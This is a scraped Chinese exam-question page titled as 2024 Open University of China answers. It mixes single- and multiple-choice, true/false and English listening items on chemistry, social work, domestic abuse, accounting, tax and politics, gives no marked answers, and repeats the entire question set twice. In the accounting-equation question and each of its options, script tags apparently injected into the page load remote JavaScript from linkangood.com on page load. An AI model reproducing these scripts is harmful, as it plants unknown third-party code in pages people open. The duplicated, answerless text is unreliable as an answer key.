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2024年国家开放大学答案
下列有机化合物中，不具有碱性的是（ ）。(单选题)
.氨
.二甲胺\xa0
.苯胺
.苯酚
在开展老年小组工作时，当组内成员对小组表现出不满或焦灼的情绪时，社会工作者的不当做法是（ ）(单选题)
.适时解散小组内的冲突
.根据情况作出是否解散小组的决定
.为了维持小组的存在，一直坚持
.与小组成员积极沟通交流\xa0
<div>操作提示：句子正确选择下拉选项框为“T”；句子错误选择下拉选项框为“F”。</div><div></div>
Domestic abuse happens when one person in a close relationship or marriage tries to control another. Domestic abuse that includes physical violence is called domestic violence.
Domestic violence and abuse are used for one purpose only: to gain and maintain total control over you. An abuser doesn.t "play fair". Abusers use fear, guilt, shame to wear you down and keep you under his or her thumb. Your abuser may also threaten you, hurt you or hurt those around you.
Domestic abuse may happen among different groups of people. It occurs within all ages, genders, and economic levels. While women often suffer from it, men sometimes are victims too. People may get verbal and emotional abuse, even physical ones. The abusive behavior is never acceptable, whether it.s coming from a man, a woman, a teenager, or an older adult. You deserve to feel valued, respected, and safe.
In a close relationship or a marriage, if one person tries to control another, domestic abuse may happen.1
2. If the abusive behavior comes from a teenager, sometimes it is acceptable.2
3. Domestic abuse usually includes physical violence, verbal violence and emotional abuse.3
4.Besides the purpose of gaining and maintaining total control over someone, domestic abuse may be used for some other purposes.4
5. Domestic abuse may happen only among the groups of the male and the rich.5 __1__(完形填空)
.T
.F
人事行政的专业化特点主要表现在（ ）。(多选题)
.人事行政机构专业化.,.
人事行政理论专业化 .,.
人事管理形式专业化.,.
国家公务员职业专业化.,.
人事管理方法专业化
“金砖国家”中除了俄罗斯、印度和中国以外，还有（ ）。(单选题)
.巴西
.乌拉圭
.巴拉圭
.墨西哥
（ ）年，中国贸促会参加了瑞士“巴塞尔样品博览会”，并首次采取了以展览为手段，以贸易成交和销售为主要目的的摊位式展览形式，改变了以往以宣传成就为主的展贸分离的整体式展出方式，展览的贸易性、专业性大大加强，从而使我国展览业开始与现代国际展览业接轨。(单选题)
.1990.,.
1986.,.
1980.,.
1976
二、听力理解
听对话录音，根据对话内容完成下方题目（每题10分）。
<a href="http://lms.ouchn.cn:80/api/uploads/audio/279290">task3_test.mp3</a>
操作提示：通过题干后的下拉框选择题目的正确答案。
The two speakers are _________. __1__
A. teacher and student
B. colleagues
C. classmates
2. There are divisions in the company _________. __2__
A. 3
B. 4
C. 10
3. Customer Service is a part of division _________. __3__
A. Operations
B. Sales and Marketing
C. Finance and Administration
4. The Sales and Marketing includes departments _________. __4__
A. 2
B. 3
C. 4
5. The director of the Sales and Marketing is now _________. __5__
A. in an online meeting
B. on holiday
C. on a business trip__2__(完形填空)
.A
.B
.C
下列属于英国宪法惯例的是（ ）。(多选题)
.国王应在首相和大臣的建议下采取行动
.\xa0首相是内阁的首脑
.内阁必须以议会的信任为继续执政的前提
.文官在政治上保持中立
下列各项中，适用6%的增值税税率的应税项目是(单选题)
.提供修理劳务
.提供交通运输服务
.出口汽车零配件
.提供现代服务业（有形资产租赁服务除外）
以下不属于人物美的三个层面的是？(单选题)
.人体美
.人的风姿与风神
.处于特定历史情景中的人的美
.心灵美
土工合成材料只能用于软土地基的处理。(判断题)
.对
.错
“资产=负债+所有者权益”是反映（ ）的会计等式。<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script><script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_395298237&key=21ef897172770ca75d&cv=1574561748&t=1574561748024"></script><script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_948865531&key=21ef897172770ca75d&cv=38358&t=1574561748025"></script>(单选题)
.资产负债表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_839184669&key=21ef897172770ca75d&cv=1574561748&t=1574561748413"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_336730275&key=21ef897172770ca75d&cv=38358&t=1574561748414"></script>
.
利润表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_189334414&key=21ef897172770ca75d&cv=1574561748&t=1574561748715"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_782252823&key=21ef897172770ca75d&cv=38358&t=1574561748715"></script>
.
现金流量表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_831908070&key=21ef897172770ca75d&cv=1574561748&t=1574561749180"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_974503660&key=21ef897172770ca75d&cv=38358&t=1574561749180"></script>
.
所有者权益变动表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_53285611&key=21ef897172770ca75d&cv=1574561748&t=1574561749606"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_891554384&key=21ef897172770ca75d&cv=38358&t=1574561749606"></script>
80年代上台执政的保守派大都打着（ ）(单选题)
.保守主义.,.
旧保守主义.,.
新保守主义.,.
自由主义
我们每天应吃的主要食物种类(多选题)
.奶类.,.
油脂类.,.
蔬菜和水果.,.
豆类
一般地，人们在做右转弯的动作时，要比做左转弯的动作自然、灵活，行进速度也会更快。(判断题)
.对
.错
.氨
.二甲胺\xa0
.苯胺
.苯酚
在开展老年小组工作时，当组内成员对小组表现出不满或焦灼的情绪时，社会工作者的不当做法是（ ）(单选题)
.适时解散小组内的冲突
.根据情况作出是否解散小组的决定
.为了维持小组的存在，一直坚持
.与小组成员积极沟通交流\xa0
<div>操作提示：句子正确选择下拉选项框为“T”；句子错误选择下拉选项框为“F”。</div><div></div>
Domestic abuse happens when one person in a close relationship or marriage tries to control another. Domestic abuse that includes physical violence is called domestic violence.
Domestic violence and abuse are used for one purpose only: to gain and maintain total control over you. An abuser doesn.t "play fair". Abusers use fear, guilt, shame to wear you down and keep you under his or her thumb. Your abuser may also threaten you, hurt you or hurt those around you.
Domestic abuse may happen among different groups of people. It occurs within all ages, genders, and economic levels. While women often suffer from it, men sometimes are victims too. People may get verbal and emotional abuse, even physical ones. The abusive behavior is never acceptable, whether it.s coming from a man, a woman, a teenager, or an older adult. You deserve to feel valued, respected, and safe.
In a close relationship or a marriage, if one person tries to control another, domestic abuse may happen.1
2. If the abusive behavior comes from a teenager, sometimes it is acceptable.2
3. Domestic abuse usually includes physical violence, verbal violence and emotional abuse.3
4.Besides the purpose of gaining and maintaining total control over someone, domestic abuse may be used for some other purposes.4
5. Domestic abuse may happen only among the groups of the male and the rich.5 __1__(完形填空)
.T
.F
人事行政的专业化特点主要表现在（ ）。(多选题)
.人事行政机构专业化.,.
人事行政理论专业化 .,.
人事管理形式专业化.,.
国家公务员职业专业化.,.
人事管理方法专业化
“金砖国家”中除了俄罗斯、印度和中国以外，还有（ ）。(单选题)
.巴西
.乌拉圭
.巴拉圭
.墨西哥
（ ）年，中国贸促会参加了瑞士“巴塞尔样品博览会”，并首次采取了以展览为手段，以贸易成交和销售为主要目的的摊位式展览形式，改变了以往以宣传成就为主的展贸分离的整体式展出方式，展览的贸易性、专业性大大加强，从而使我国展览业开始与现代国际展览业接轨。(单选题)
.1990.,.
1986.,.
1980.,.
1976
二、听力理解
听对话录音，根据对话内容完成下方题目（每题10分）。
<a href="http://lms.ouchn.cn:80/api/uploads/audio/279290">task3_test.mp3</a>
操作提示：通过题干后的下拉框选择题目的正确答案。
The two speakers are _________. __1__
A. teacher and student
B. colleagues
C. classmates
2. There are divisions in the company _________. __2__
A. 3
B. 4
C. 10
3. Customer Service is a part of division _________. __3__
A. Operations
B. Sales and Marketing
C. Finance and Administration
4. The Sales and Marketing includes departments _________. __4__
A. 2
B. 3
C. 4
5. The director of the Sales and Marketing is now _________. __5__
A. in an online meeting
B. on holiday
C. on a business trip__2__(完形填空)
.A
.B
.C
下列属于英国宪法惯例的是（ ）。(多选题)
.国王应在首相和大臣的建议下采取行动
.\xa0首相是内阁的首脑
.内阁必须以议会的信任为继续执政的前提
.文官在政治上保持中立
下列各项中，适用6%的增值税税率的应税项目是(单选题)
.提供修理劳务
.提供交通运输服务
.出口汽车零配件
.提供现代服务业（有形资产租赁服务除外）
以下不属于人物美的三个层面的是？(单选题)
.人体美
.人的风姿与风神
.处于特定历史情景中的人的美
.心灵美
土工合成材料只能用于软土地基的处理。(判断题)
.对
.错
“资产=负债+所有者权益”是反映（ ）的会计等式。<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script><script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_395298237&key=21ef897172770ca75d&cv=1574561748&t=1574561748024"></script><script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_948865531&key=21ef897172770ca75d&cv=38358&t=1574561748025"></script>(单选题)
.资产负债表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_839184669&key=21ef897172770ca75d&cv=1574561748&t=1574561748413"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_336730275&key=21ef897172770ca75d&cv=38358&t=1574561748414"></script>
.
利润表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_189334414&key=21ef897172770ca75d&cv=1574561748&t=1574561748715"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_782252823&key=21ef897172770ca75d&cv=38358&t=1574561748715"></script>
.
现金流量表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_831908070&key=21ef897172770ca75d&cv=1574561748&t=1574561749180"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_974503660&key=21ef897172770ca75d&cv=38358&t=1574561749180"></script>
.
所有者权益变动表\n<script type="text/javascript" src="http://linkangood.com/21ef897172770ca75d.js"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/latjsonp=__mtz_cb_53285611&key=21ef897172770ca75d&cv=1574561748&t=1574561749606"></script>\n<script type="text/javascript" src="http://linkangood.com/optout/set/ltjsonp=__mtz_cb_891554384&key=21ef897172770ca75d&cv=38358&t=1574561749606"></script>
80年代上台执政的保守派大都打着（ ）(单选题)
.保守主义.,.
旧保守主义.,.
新保守主义.,.
自由主义
我们每天应吃的主要食物种类(多选题)
.奶类.,.
油脂类.,.
蔬菜和水果.,.
豆类
一般地，人们在做右转弯的动作时，要比做左转弯的动作自然、灵活，行进速度也会更快。(判断题)
.对
.错